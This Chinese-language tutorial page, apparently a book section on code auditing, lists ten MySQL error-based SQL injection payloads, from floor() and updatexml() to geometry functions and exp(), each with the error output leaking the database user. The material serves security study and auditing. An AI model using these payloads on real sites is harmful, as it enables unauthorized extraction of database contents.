返回介绍

8.7 十余种 MySQL 报错注入

发布于 2024-10-11 22:07:46 字数 3570 浏览 0 评论 0 收藏 0

利用数据库报错来显示数据的注入方式经常会在入侵中利用到,这种方法有一点局限性,需要页面有错误回显。而在代码审计中,经常会遇到没有正常数据回显的 SQL 注入漏洞,这时候我们就需要用报错注入的方式最快地拿到注入的数据。

早在很久以前就用到的数据类型转换报错是用得最多的一种方式,这种方式大多用在微软的 SQL Server 上,利用的是 convert() 和 cast() 函数,MySQL 的报错 SQL 注入方式更多,不过多数人以为只有三种,分别是 floor()、updatexml() 以及 extractvalue() 这三个函数,但实际上还有很多个函数都会导致 MySQL 报错并且显示出数据,它们分别是 GeometryCollection()、polygon()、GTID_SUBSET()、multipoint()、multilinestring()、multipolygon()、LINESTRING()、exp(),下面我们来看看它们具体的报错用法,需要注意的一点是,这些方法并不是在所有版本都通用,也有比较老的版本没有这些函数。

通常注入的 SQL 语句大多是"select*from phpsec where id=?”这种类型,这里我们就用这种形式来说明怎么利用,利用方式分别如下。

第一种:floor()

注入语句:

id=1 and ( select 1 from ( select count ( * ), concat ( user (), floor ( rand ( 0 ) *2 )) x from information_schema.tables group by x ) a )

SQL 语句执行后返回的错误信息如图 8-10 所示。

图 8-10

通过截图我们可以看到 MySQL 出现了报错,并且显示出了当前的连接用户名。

第二种:extractvalue()

注入语句:

id = 1 and ( extractvalue ( 1 , concat ( 0x5c ,
 
( select user ()))))

错误信息如图 8-11 所示。

第三种:updatexml()

注入语句:

id = 1 AND ( updatexml ( 1 , concat ( 0x5e24 ,( select user ()), 0x5e24 ), 1 ))

图 8-11

错误信息:

[Err] 1105 - XPATH syntax error : '^$root@localhost^$'

第四种:GeometryCollection()

注入语句:

id = 1 AND GeometryCollection (( select * from ( select * from ( select user ()) a ) b ))

错误信息:

[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing

第五种:polygon()

注入语句:

id = 1 AND polygon (( select * from ( select * from ( select user ()) a ) b ))

错误信息:

[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing

第六种:multipoint()

注入语句:

id = 1 AND multipoint (( select * from ( select * from ( select user ()) a ) b ))

错误信息:

[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing

第七种:multilinestring()

注入语句:

id = 1 AND multilinestring (( select * from ( select * from ( select user ()) a ) b ))

错误信息:

[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing

第八种:multipolygon()

注入语句:

id = 1 AND multipolygon (( select * from ( select * from ( select user ()) a ) b ))

错误信息:

[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing

第九种:linestring()

注入语句:

id = 1 AND LINESTRING (( select * from ( select * from ( select user ()) a ) b ))

错误信息:

[Err] 1367 - Illegal non geometric ' ( select `b`.`user () ` from ( select 'root@localhost' AS `user () ` from dual ) `b` ) ' value found during parsing

第十种:exp()

注入语句:

id = 1 and EXP ( ~ ( SELECT*from ( SELECT user ()) a ))

错误信息:

[Err] 1690 - DOUBLE value is out of range in 'exp ( ~ (( select 'root@localhost' from dual ))) '

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文